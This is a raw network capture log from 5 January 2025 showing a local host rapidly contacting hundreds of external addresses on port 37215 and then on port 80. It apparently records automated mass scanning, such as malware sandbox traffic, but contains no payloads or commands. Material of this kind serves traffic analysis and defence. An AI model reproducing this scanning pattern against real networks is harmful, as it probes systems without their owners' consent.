Jan 5, 2025 14:34:51.721191883 CET	29479	37215	192.168.2.13	156.88.164.191
Jan 5, 2025 14:34:51.721193075 CET	29479	37215	192.168.2.13	197.95.181.213
Jan 5, 2025 14:34:51.721193075 CET	29479	37215	192.168.2.13	41.98.216.151
Jan 5, 2025 14:34:51.721195936 CET	37215	29479	156.162.23.148	192.168.2.13
Jan 5, 2025 14:34:51.721205950 CET	29479	37215	192.168.2.13	156.21.236.12
Jan 5, 2025 14:34:51.721206903 CET	37215	29479	197.111.188.152	192.168.2.13
Jan 5, 2025 14:34:51.721205950 CET	29479	37215	192.168.2.13	41.155.214.15
Jan 5, 2025 14:34:51.721219063 CET	29479	37215	192.168.2.13	156.162.23.148
Jan 5, 2025 14:34:51.721219063 CET	37215	29479	197.30.62.242	192.168.2.13
Jan 5, 2025 14:34:51.721229076 CET	37215	29479	156.54.138.42	192.168.2.13
Jan 5, 2025 14:34:51.721237898 CET	37215	29479	197.197.143.179	192.168.2.13
Jan 5, 2025 14:34:51.721246958 CET	37215	29479	197.229.78.128	192.168.2.13
Jan 5, 2025 14:34:51.721256018 CET	37215	29479	41.55.239.23	192.168.2.13
Jan 5, 2025 14:34:51.721265078 CET	37215	29479	41.132.215.23	192.168.2.13
Jan 5, 2025 14:34:51.721273899 CET	37215	29479	41.242.239.150	192.168.2.13
Jan 5, 2025 14:34:51.721285105 CET	37215	29479	197.95.186.195	192.168.2.13
Jan 5, 2025 14:34:51.721295118 CET	37215	29479	197.143.127.61	192.168.2.13
Jan 5, 2025 14:34:51.721306086 CET	37215	29479	41.173.240.63	192.168.2.13
Jan 5, 2025 14:34:51.721313953 CET	37215	29479	41.10.207.154	192.168.2.13
Jan 5, 2025 14:34:51.721313953 CET	29479	37215	192.168.2.13	41.132.215.23
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	197.111.188.152
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	197.30.62.242
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	156.54.138.42
Jan 5, 2025 14:34:51.721319914 CET	29479	37215	192.168.2.13	197.95.186.195
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	41.55.239.23
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	197.197.143.179
Jan 5, 2025 14:34:51.721318960 CET	29479	37215	192.168.2.13	197.229.78.128
Jan 5, 2025 14:34:51.721327066 CET	29479	37215	192.168.2.13	197.143.127.61
Jan 5, 2025 14:34:51.721328020 CET	29479	37215	192.168.2.13	41.242.239.150
Jan 5, 2025 14:34:51.721332073 CET	37215	29479	156.208.232.167	192.168.2.13
Jan 5, 2025 14:34:51.721342087 CET	37215	29479	197.151.95.112	192.168.2.13
Jan 5, 2025 14:34:51.721359015 CET	37215	29479	156.56.66.107	192.168.2.13
Jan 5, 2025 14:34:51.721360922 CET	29479	37215	192.168.2.13	41.173.240.63
Jan 5, 2025 14:34:51.721365929 CET	29479	37215	192.168.2.13	41.10.207.154
Jan 5, 2025 14:34:51.721369028 CET	37215	29479	156.173.229.193	192.168.2.13
Jan 5, 2025 14:34:51.721383095 CET	29479	37215	192.168.2.13	156.56.66.107
Jan 5, 2025 14:34:51.721388102 CET	29479	37215	192.168.2.13	156.208.232.167
Jan 5, 2025 14:34:51.721388102 CET	29479	37215	192.168.2.13	197.151.95.112
Jan 5, 2025 14:34:51.721409082 CET	29479	37215	192.168.2.13	156.173.229.193
Jan 5, 2025 14:34:51.721445084 CET	37215	29479	41.133.222.143	192.168.2.13
Jan 5, 2025 14:34:51.721456051 CET	37215	29479	41.37.224.163	192.168.2.13
Jan 5, 2025 14:34:51.721465111 CET	37215	29479	41.224.132.61	192.168.2.13
Jan 5, 2025 14:34:51.721473932 CET	37215	29479	197.161.207.200	192.168.2.13
Jan 5, 2025 14:34:51.721482038 CET	37215	29479	41.140.26.91	192.168.2.13
Jan 5, 2025 14:34:51.721491098 CET	37215	29479	156.151.44.118	192.168.2.13
Jan 5, 2025 14:34:51.721499920 CET	37215	29479	156.146.129.42	192.168.2.13
Jan 5, 2025 14:34:51.721501112 CET	29479	37215	192.168.2.13	41.37.224.163
Jan 5, 2025 14:34:51.721508980 CET	37215	29479	41.211.163.98	192.168.2.13
Jan 5, 2025 14:34:51.721513033 CET	29479	37215	192.168.2.13	41.224.132.61
Jan 5, 2025 14:34:51.721513033 CET	29479	37215	192.168.2.13	197.161.207.200
Jan 5, 2025 14:34:51.721514940 CET	29479	37215	192.168.2.13	41.133.222.143
Jan 5, 2025 14:34:51.721518040 CET	37215	29479	156.92.158.210	192.168.2.13
Jan 5, 2025 14:34:51.721527100 CET	37215	29479	197.128.117.32	192.168.2.13
Jan 5, 2025 14:34:51.721527100 CET	29479	37215	192.168.2.13	156.151.44.118
Jan 5, 2025 14:34:51.721529007 CET	29479	37215	192.168.2.13	156.146.129.42
Jan 5, 2025 14:34:51.721537113 CET	37215	29479	156.0.95.172	192.168.2.13
Jan 5, 2025 14:34:51.721549034 CET	37215	29479	156.56.118.174	192.168.2.13
Jan 5, 2025 14:34:51.721556902 CET	37215	29479	41.250.48.92	192.168.2.13
Jan 5, 2025 14:34:51.721566916 CET	37215	29479	41.252.39.25	192.168.2.13
Jan 5, 2025 14:34:51.721575022 CET	37215	29479	197.244.26.77	192.168.2.13
Jan 5, 2025 14:34:51.721577883 CET	29479	37215	192.168.2.13	197.128.117.32
Jan 5, 2025 14:34:51.721584082 CET	37215	29479	41.26.38.28	192.168.2.13
Jan 5, 2025 14:34:51.721592903 CET	37215	29479	197.233.139.238	192.168.2.13
Jan 5, 2025 14:34:51.721601009 CET	37215	29479	197.124.247.122	192.168.2.13
Jan 5, 2025 14:34:51.721610069 CET	37215	29479	41.94.70.90	192.168.2.13
Jan 5, 2025 14:34:51.721617937 CET	37215	29479	41.102.16.47	192.168.2.13
Jan 5, 2025 14:34:51.721626997 CET	37215	29479	156.233.72.24	192.168.2.13
Jan 5, 2025 14:34:51.721635103 CET	37215	29479	156.236.39.105	192.168.2.13
Jan 5, 2025 14:34:51.721642017 CET	29479	37215	192.168.2.13	41.102.16.47
Jan 5, 2025 14:34:51.721643925 CET	29479	37215	192.168.2.13	156.92.158.210
Jan 5, 2025 14:34:51.721643925 CET	29479	37215	192.168.2.13	156.56.118.174
Jan 5, 2025 14:34:51.721645117 CET	37215	29479	156.67.52.248	192.168.2.13
Jan 5, 2025 14:34:51.721643925 CET	29479	37215	192.168.2.13	41.250.48.92
Jan 5, 2025 14:34:51.721643925 CET	29479	37215	192.168.2.13	41.94.70.90
Jan 5, 2025 14:34:51.721657038 CET	37215	29479	41.121.189.240	192.168.2.13
Jan 5, 2025 14:34:51.721668005 CET	37215	29479	156.28.163.214	192.168.2.13
Jan 5, 2025 14:34:51.721676111 CET	37215	29479	197.91.3.171	192.168.2.13
Jan 5, 2025 14:34:51.721718073 CET	29479	37215	192.168.2.13	197.91.3.171
Jan 5, 2025 14:34:51.721760988 CET	29479	37215	192.168.2.13	41.121.189.240
Jan 5, 2025 14:34:51.721826077 CET	37215	29479	41.16.247.213	192.168.2.13
Jan 5, 2025 14:34:51.721836090 CET	37215	29479	197.203.83.179	192.168.2.13
Jan 5, 2025 14:34:51.721846104 CET	37215	29479	156.4.24.106	192.168.2.13
Jan 5, 2025 14:34:51.721856117 CET	37215	29479	41.66.38.190	192.168.2.13
Jan 5, 2025 14:34:51.721864939 CET	37215	29479	156.220.56.27	192.168.2.13
Jan 5, 2025 14:34:51.721870899 CET	29479	37215	192.168.2.13	41.252.39.25
Jan 5, 2025 14:34:51.721870899 CET	29479	37215	192.168.2.13	197.233.139.238
Jan 5, 2025 14:34:51.721872091 CET	29479	37215	192.168.2.13	41.26.38.28
Jan 5, 2025 14:34:51.721872091 CET	29479	37215	192.168.2.13	41.211.163.98
Jan 5, 2025 14:34:51.721873999 CET	37215	29479	41.86.232.42	192.168.2.13
Jan 5, 2025 14:34:51.721882105 CET	29479	37215	192.168.2.13	156.4.24.106
Jan 5, 2025 14:34:51.721884012 CET	37215	29479	197.125.157.255	192.168.2.13
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	197.244.26.77
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	156.0.95.172
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	156.233.72.24
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	41.140.26.91
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	156.236.39.105
Jan 5, 2025 14:34:51.721885920 CET	29479	37215	192.168.2.13	156.67.52.248
Jan 5, 2025 14:34:51.721893072 CET	37215	29479	156.167.194.7	192.168.2.13
Jan 5, 2025 14:34:51.721892118 CET	29479	37215	192.168.2.13	156.28.163.214
Jan 5, 2025 14:34:51.721893072 CET	29479	37215	192.168.2.13	197.124.247.122
Jan 5, 2025 14:34:51.721898079 CET	29479	37215	192.168.2.13	41.16.247.213
Jan 5, 2025 14:34:51.721898079 CET	29479	37215	192.168.2.13	41.66.38.190
Jan 5, 2025 14:34:51.721903086 CET	29479	37215	192.168.2.13	41.86.232.42
Jan 5, 2025 14:34:51.721904993 CET	29479	37215	192.168.2.13	156.220.56.27
Jan 5, 2025 14:34:51.721908092 CET	37215	29479	156.187.212.106	192.168.2.13
Jan 5, 2025 14:34:51.721920013 CET	29479	37215	192.168.2.13	197.203.83.179
Jan 5, 2025 14:34:51.721923113 CET	29479	37215	192.168.2.13	197.125.157.255
Jan 5, 2025 14:34:51.721923113 CET	29479	37215	192.168.2.13	156.167.194.7
Jan 5, 2025 14:34:51.721925020 CET	37215	29479	197.51.120.160	192.168.2.13
Jan 5, 2025 14:34:51.721930027 CET	37215	29479	197.251.166.143	192.168.2.13
Jan 5, 2025 14:34:51.721939087 CET	37215	29479	41.70.77.160	192.168.2.13
Jan 5, 2025 14:34:51.721946955 CET	37215	29479	156.12.233.211	192.168.2.13
Jan 5, 2025 14:34:51.721956015 CET	29479	37215	192.168.2.13	197.51.120.160
Jan 5, 2025 14:34:51.721956015 CET	37215	29479	41.29.90.110	192.168.2.13
Jan 5, 2025 14:34:51.721956968 CET	29479	37215	192.168.2.13	156.187.212.106
Jan 5, 2025 14:34:51.721965075 CET	37215	29479	41.183.211.176	192.168.2.13
Jan 5, 2025 14:34:51.721967936 CET	29479	37215	192.168.2.13	156.12.233.211
Jan 5, 2025 14:34:51.721968889 CET	29479	37215	192.168.2.13	197.251.166.143
Jan 5, 2025 14:34:51.721968889 CET	29479	37215	192.168.2.13	41.70.77.160
Jan 5, 2025 14:34:51.721975088 CET	37215	29479	41.42.100.240	192.168.2.13
Jan 5, 2025 14:34:51.721978903 CET	29479	37215	192.168.2.13	41.29.90.110
Jan 5, 2025 14:34:51.721985102 CET	37215	29479	41.133.47.223	192.168.2.13
Jan 5, 2025 14:34:51.721992016 CET	29479	37215	192.168.2.13	41.183.211.176
Jan 5, 2025 14:34:51.721992970 CET	37215	29479	156.47.27.145	192.168.2.13
Jan 5, 2025 14:34:51.721998930 CET	29479	37215	192.168.2.13	41.42.100.240
Jan 5, 2025 14:34:51.722002983 CET	37215	29479	41.254.64.1	192.168.2.13
Jan 5, 2025 14:34:51.722011089 CET	29479	37215	192.168.2.13	41.133.47.223
Jan 5, 2025 14:34:51.722012043 CET	37215	29479	197.146.41.19	192.168.2.13
Jan 5, 2025 14:34:51.722021103 CET	37215	29479	41.181.190.99	192.168.2.13
Jan 5, 2025 14:34:51.722028971 CET	37215	29479	197.121.61.251	192.168.2.13
Jan 5, 2025 14:34:51.722038984 CET	37215	29479	197.159.103.29	192.168.2.13
Jan 5, 2025 14:34:51.722044945 CET	29479	37215	192.168.2.13	41.181.190.99
Jan 5, 2025 14:34:51.722048998 CET	29479	37215	192.168.2.13	197.146.41.19
Jan 5, 2025 14:34:51.722050905 CET	37215	29479	156.168.26.135	192.168.2.13
Jan 5, 2025 14:34:51.722055912 CET	37215	29479	197.151.19.167	192.168.2.13
Jan 5, 2025 14:34:51.722058058 CET	29479	37215	192.168.2.13	197.121.61.251
Jan 5, 2025 14:34:51.722060919 CET	29479	37215	192.168.2.13	156.47.27.145
Jan 5, 2025 14:34:51.722060919 CET	29479	37215	192.168.2.13	41.254.64.1
Jan 5, 2025 14:34:51.722064972 CET	37215	29479	156.157.251.68	192.168.2.13
Jan 5, 2025 14:34:51.722070932 CET	29479	37215	192.168.2.13	197.159.103.29
Jan 5, 2025 14:34:51.722081900 CET	37215	29479	41.30.114.168	192.168.2.13
Jan 5, 2025 14:34:51.722083092 CET	29479	37215	192.168.2.13	156.168.26.135
Jan 5, 2025 14:34:51.722084045 CET	29479	37215	192.168.2.13	197.151.19.167
Jan 5, 2025 14:34:51.722091913 CET	37215	29479	41.63.107.226	192.168.2.13
Jan 5, 2025 14:34:51.722094059 CET	29479	37215	192.168.2.13	156.157.251.68
Jan 5, 2025 14:34:51.722103119 CET	37215	29479	156.226.205.99	192.168.2.13
Jan 5, 2025 14:34:51.722125053 CET	29479	37215	192.168.2.13	41.63.107.226
Jan 5, 2025 14:34:51.722130060 CET	29479	37215	192.168.2.13	156.226.205.99
Jan 5, 2025 14:34:51.722143888 CET	29479	37215	192.168.2.13	41.30.114.168
Jan 5, 2025 14:34:51.722203970 CET	37215	29479	156.173.203.156	192.168.2.13
Jan 5, 2025 14:34:51.722213984 CET	37215	29479	156.212.205.160	192.168.2.13
Jan 5, 2025 14:34:51.722223043 CET	37215	29479	156.165.89.17	192.168.2.13
Jan 5, 2025 14:34:51.722232103 CET	37215	29479	41.55.5.218	192.168.2.13
Jan 5, 2025 14:34:51.722240925 CET	37215	29479	41.8.224.153	192.168.2.13
Jan 5, 2025 14:34:51.722243071 CET	29479	37215	192.168.2.13	156.212.205.160
Jan 5, 2025 14:34:51.722243071 CET	29479	37215	192.168.2.13	156.173.203.156
Jan 5, 2025 14:34:51.722249985 CET	37215	29479	156.11.131.29	192.168.2.13
Jan 5, 2025 14:34:51.722259998 CET	37215	29479	197.238.102.25	192.168.2.13
Jan 5, 2025 14:34:51.722266912 CET	29479	37215	192.168.2.13	156.165.89.17
Jan 5, 2025 14:34:51.722266912 CET	29479	37215	192.168.2.13	41.8.224.153
Jan 5, 2025 14:34:51.722268105 CET	37215	29479	156.116.5.244	192.168.2.13
Jan 5, 2025 14:34:51.722276926 CET	37215	29479	197.44.147.202	192.168.2.13
Jan 5, 2025 14:34:51.722285032 CET	37215	29479	156.3.18.203	192.168.2.13
Jan 5, 2025 14:34:51.722295046 CET	37215	29479	41.222.169.28	192.168.2.13
Jan 5, 2025 14:34:51.722300053 CET	29479	37215	192.168.2.13	197.238.102.25
Jan 5, 2025 14:34:51.722300053 CET	29479	37215	192.168.2.13	156.116.5.244
Jan 5, 2025 14:34:51.722304106 CET	37215	29479	197.18.224.34	192.168.2.13
Jan 5, 2025 14:34:51.722309113 CET	29479	37215	192.168.2.13	156.3.18.203
Jan 5, 2025 14:34:51.722313881 CET	37215	29479	41.98.243.15	192.168.2.13
Jan 5, 2025 14:34:51.722323895 CET	37215	29479	156.83.129.197	192.168.2.13
Jan 5, 2025 14:34:51.722332001 CET	29479	37215	192.168.2.13	197.18.224.34
Jan 5, 2025 14:34:51.722332954 CET	37215	29479	156.228.217.184	192.168.2.13
Jan 5, 2025 14:34:51.722337008 CET	29479	37215	192.168.2.13	41.222.169.28
Jan 5, 2025 14:34:51.722337008 CET	29479	37215	192.168.2.13	41.98.243.15
Jan 5, 2025 14:34:51.722342014 CET	37215	29479	156.76.50.109	192.168.2.13
Jan 5, 2025 14:34:51.722346067 CET	29479	37215	192.168.2.13	156.83.129.197
Jan 5, 2025 14:34:51.722351074 CET	37215	29479	41.214.150.28	192.168.2.13
Jan 5, 2025 14:34:51.722362995 CET	37215	29479	41.89.84.63	192.168.2.13
Jan 5, 2025 14:34:51.722371101 CET	37215	29479	41.13.39.219	192.168.2.13
Jan 5, 2025 14:34:51.722376108 CET	29479	37215	192.168.2.13	156.76.50.109
Jan 5, 2025 14:34:51.722379923 CET	37215	29479	197.226.79.19	192.168.2.13
Jan 5, 2025 14:34:51.722390890 CET	37215	29479	197.157.102.222	192.168.2.13
Jan 5, 2025 14:34:51.722399950 CET	37215	29479	197.135.195.161	192.168.2.13
Jan 5, 2025 14:34:51.722410917 CET	37215	29479	197.66.148.179	192.168.2.13
Jan 5, 2025 14:34:51.722415924 CET	29479	37215	192.168.2.13	197.226.79.19
Jan 5, 2025 14:34:51.722420931 CET	37215	29479	197.172.38.54	192.168.2.13
Jan 5, 2025 14:34:51.722434044 CET	37215	29479	41.39.61.133	192.168.2.13
Jan 5, 2025 14:34:51.722441912 CET	29479	37215	192.168.2.13	197.66.148.179
Jan 5, 2025 14:34:51.722445965 CET	29479	37215	192.168.2.13	197.172.38.54
Jan 5, 2025 14:34:51.722450018 CET	37215	29479	156.186.45.55	192.168.2.13
Jan 5, 2025 14:34:51.722460985 CET	37215	29479	41.254.121.136	192.168.2.13
Jan 5, 2025 14:34:51.722470999 CET	29479	37215	192.168.2.13	41.39.61.133
Jan 5, 2025 14:34:51.722491026 CET	29479	37215	192.168.2.13	41.55.5.218
Jan 5, 2025 14:34:51.722496033 CET	29479	37215	192.168.2.13	156.11.131.29
Jan 5, 2025 14:34:51.722497940 CET	29479	37215	192.168.2.13	197.44.147.202
Jan 5, 2025 14:34:51.722500086 CET	29479	37215	192.168.2.13	156.228.217.184
Jan 5, 2025 14:34:51.722508907 CET	29479	37215	192.168.2.13	41.214.150.28
Jan 5, 2025 14:34:51.722517014 CET	29479	37215	192.168.2.13	41.89.84.63
Jan 5, 2025 14:34:51.722517014 CET	29479	37215	192.168.2.13	41.13.39.219
Jan 5, 2025 14:34:51.722517014 CET	29479	37215	192.168.2.13	197.157.102.222
Jan 5, 2025 14:34:51.722517967 CET	37215	29479	41.109.142.181	192.168.2.13
Jan 5, 2025 14:34:51.722527027 CET	37215	29479	41.67.90.81	192.168.2.13
Jan 5, 2025 14:34:51.722529888 CET	29479	37215	192.168.2.13	197.135.195.161
Jan 5, 2025 14:34:51.722532034 CET	29479	37215	192.168.2.13	156.186.45.55
Jan 5, 2025 14:34:51.722532034 CET	29479	37215	192.168.2.13	41.254.121.136
Jan 5, 2025 14:34:51.722536087 CET	37215	29479	156.119.202.186	192.168.2.13
Jan 5, 2025 14:34:51.722544909 CET	37215	29479	156.234.54.151	192.168.2.13
Jan 5, 2025 14:34:51.722551107 CET	29479	37215	192.168.2.13	41.109.142.181
Jan 5, 2025 14:34:51.722551107 CET	29479	37215	192.168.2.13	41.67.90.81
Jan 5, 2025 14:34:51.722557068 CET	37215	29479	197.168.226.232	192.168.2.13
Jan 5, 2025 14:34:51.722563028 CET	29479	37215	192.168.2.13	156.119.202.186
Jan 5, 2025 14:34:51.722568035 CET	29479	37215	192.168.2.13	156.234.54.151
Jan 5, 2025 14:34:51.722583055 CET	37215	29479	197.37.164.202	192.168.2.13
Jan 5, 2025 14:34:51.722592115 CET	37215	29479	156.93.72.1	192.168.2.13
Jan 5, 2025 14:34:51.722594023 CET	29479	37215	192.168.2.13	197.168.226.232
Jan 5, 2025 14:34:51.722600937 CET	37215	29479	156.139.155.238	192.168.2.13
Jan 5, 2025 14:34:51.722609997 CET	37215	29479	156.224.182.180	192.168.2.13
Jan 5, 2025 14:34:51.722621918 CET	29479	37215	192.168.2.13	197.37.164.202
Jan 5, 2025 14:34:51.722626925 CET	29479	37215	192.168.2.13	156.139.155.238
Jan 5, 2025 14:34:51.722630024 CET	29479	37215	192.168.2.13	156.93.72.1
Jan 5, 2025 14:34:51.722630024 CET	29479	37215	192.168.2.13	156.224.182.180
Jan 5, 2025 14:34:51.722729921 CET	37215	29479	41.71.120.116	192.168.2.13
Jan 5, 2025 14:34:51.722740889 CET	37215	29479	197.246.103.107	192.168.2.13
Jan 5, 2025 14:34:51.722749949 CET	37215	29479	41.12.242.176	192.168.2.13
Jan 5, 2025 14:34:51.722758055 CET	29479	37215	192.168.2.13	41.71.120.116
Jan 5, 2025 14:34:51.722759008 CET	37215	29479	197.97.66.212	192.168.2.13
Jan 5, 2025 14:34:51.722769976 CET	37215	29479	41.27.162.44	192.168.2.13
Jan 5, 2025 14:34:51.722774029 CET	37215	29479	41.13.58.24	192.168.2.13
Jan 5, 2025 14:34:51.722779989 CET	29479	37215	192.168.2.13	197.246.103.107
Jan 5, 2025 14:34:51.722784042 CET	37215	29479	156.157.162.244	192.168.2.13
Jan 5, 2025 14:34:51.722788095 CET	29479	37215	192.168.2.13	41.12.242.176
Jan 5, 2025 14:34:51.722794056 CET	37215	29479	156.14.215.119	192.168.2.13
Jan 5, 2025 14:34:51.722804070 CET	37215	29479	41.147.105.183	192.168.2.13
Jan 5, 2025 14:34:51.722804070 CET	29479	37215	192.168.2.13	41.27.162.44
Jan 5, 2025 14:34:51.722806931 CET	29479	37215	192.168.2.13	197.97.66.212
Jan 5, 2025 14:34:51.722812891 CET	37215	29479	41.13.212.38	192.168.2.13
Jan 5, 2025 14:34:51.722815037 CET	29479	37215	192.168.2.13	156.157.162.244
Jan 5, 2025 14:34:51.722822905 CET	37215	29479	156.24.222.246	192.168.2.13
Jan 5, 2025 14:34:51.722831964 CET	37215	29479	197.157.119.29	192.168.2.13
Jan 5, 2025 14:34:51.722843885 CET	37215	29479	156.248.71.14	192.168.2.13
Jan 5, 2025 14:34:51.722858906 CET	37215	29479	156.243.129.113	192.168.2.13
Jan 5, 2025 14:34:51.722861052 CET	29479	37215	192.168.2.13	156.14.215.119
Jan 5, 2025 14:34:51.722866058 CET	29479	37215	192.168.2.13	41.13.58.24
Jan 5, 2025 14:34:51.722877979 CET	29479	37215	192.168.2.13	41.13.212.38
Jan 5, 2025 14:34:51.722913027 CET	29479	37215	192.168.2.13	156.248.71.14
Jan 5, 2025 14:34:51.722918987 CET	29479	37215	192.168.2.13	41.147.105.183
Jan 5, 2025 14:34:51.722918987 CET	29479	37215	192.168.2.13	156.24.222.246
Jan 5, 2025 14:34:51.722939014 CET	29479	37215	192.168.2.13	197.157.119.29
Jan 5, 2025 14:34:51.722939968 CET	29479	37215	192.168.2.13	156.243.129.113
Jan 5, 2025 14:34:51.729561090 CET	29477	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:51.729566097 CET	29477	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:51.729567051 CET	29477	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:51.729573965 CET	29477	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:51.729671001 CET	29477	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:51.729671001 CET	29477	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:51.729671955 CET	29477	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:51.729672909 CET	29477	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:51.729672909 CET	29477	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:51.729676008 CET	29477	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:51.729677916 CET	29477	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:51.729677916 CET	29477	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:51.729691029 CET	29477	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:51.729691029 CET	29477	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:51.729691029 CET	29477	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:51.729691029 CET	29477	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:51.729691029 CET	29477	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:51.729696989 CET	29477	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:51.729696989 CET	29477	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:51.729697943 CET	29477	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:51.729697943 CET	29477	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:51.729697943 CET	29477	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:51.729697943 CET	29477	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:51.729698896 CET	29477	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:51.729701996 CET	29477	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:51.729705095 CET	29477	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:51.729705095 CET	29477	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:51.729711056 CET	29477	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:51.729711056 CET	29477	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:51.729711056 CET	29477	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:51.729711056 CET	29477	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:51.729721069 CET	29477	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:51.729721069 CET	29477	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:51.729721069 CET	29477	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:51.729744911 CET	29477	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:51.729784966 CET	29477	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:51.729784966 CET	29477	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:51.729805946 CET	29477	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:51.729829073 CET	29477	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:51.729835987 CET	29477	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:51.729856014 CET	29477	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:51.729857922 CET	29477	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:51.729866982 CET	29477	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:51.729870081 CET	29477	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:51.729873896 CET	29477	80	192.168.2.13	194.183.164.23
Jan 5, 2025 14:34:51.729876041 CET	29477	80	192.168.2.13	41.64.231.50
Jan 5, 2025 14:34:51.729912996 CET	29477	80	192.168.2.13	207.228.250.37
Jan 5, 2025 14:34:51.729912996 CET	29477	80	192.168.2.13	85.20.129.185
Jan 5, 2025 14:34:51.729917049 CET	29477	80	192.168.2.13	1.236.162.149
Jan 5, 2025 14:34:51.729940891 CET	29477	80	192.168.2.13	65.19.217.78
Jan 5, 2025 14:34:51.729964972 CET	29477	80	192.168.2.13	52.162.205.233
Jan 5, 2025 14:34:51.729967117 CET	29477	80	192.168.2.13	220.24.54.57
Jan 5, 2025 14:34:51.729969978 CET	29477	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:51.729979992 CET	29477	80	192.168.2.13	220.224.191.80
Jan 5, 2025 14:34:51.729979992 CET	29477	80	192.168.2.13	53.227.17.241
Jan 5, 2025 14:34:51.729980946 CET	29477	80	192.168.2.13	151.48.15.95
Jan 5, 2025 14:34:51.729981899 CET	29477	80	192.168.2.13	93.214.231.0
Jan 5, 2025 14:34:51.729981899 CET	29477	80	192.168.2.13	196.143.46.158
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	121.102.216.112
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	139.174.195.137
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	159.255.40.76
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	176.149.191.104
Jan 5, 2025 14:34:51.729984999 CET	29477	80	192.168.2.13	24.250.172.66
Jan 5, 2025 14:34:51.729995012 CET	29477	80	192.168.2.13	59.207.164.167
Jan 5, 2025 14:34:51.729995012 CET	29477	80	192.168.2.13	96.120.65.61
Jan 5, 2025 14:34:51.729995012 CET	29477	80	192.168.2.13	14.97.135.180
Jan 5, 2025 14:34:51.730005980 CET	29477	80	192.168.2.13	160.138.100.144
Jan 5, 2025 14:34:51.730005980 CET	29477	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:51.730005980 CET	29477	80	192.168.2.13	132.2.243.211
Jan 5, 2025 14:34:51.730006933 CET	29477	80	192.168.2.13	207.181.173.59
Jan 5, 2025 14:34:51.730009079 CET	29477	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:51.730009079 CET	29477	80	192.168.2.13	102.130.92.204
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	187.2.59.252
Jan 5, 2025 14:34:51.730009079 CET	29477	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:51.730009079 CET	29477	80	192.168.2.13	153.20.1.20
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	78.220.83.21
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	1.217.177.101
Jan 5, 2025 14:34:51.730009079 CET	29477	80	192.168.2.13	113.229.189.168
Jan 5, 2025 14:34:51.730010986 CET	29477	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	178.160.234.244
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	210.5.76.127
Jan 5, 2025 14:34:51.730010986 CET	29477	80	192.168.2.13	157.0.75.117
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	188.97.0.189
Jan 5, 2025 14:34:51.730022907 CET	29477	80	192.168.2.13	85.21.168.38
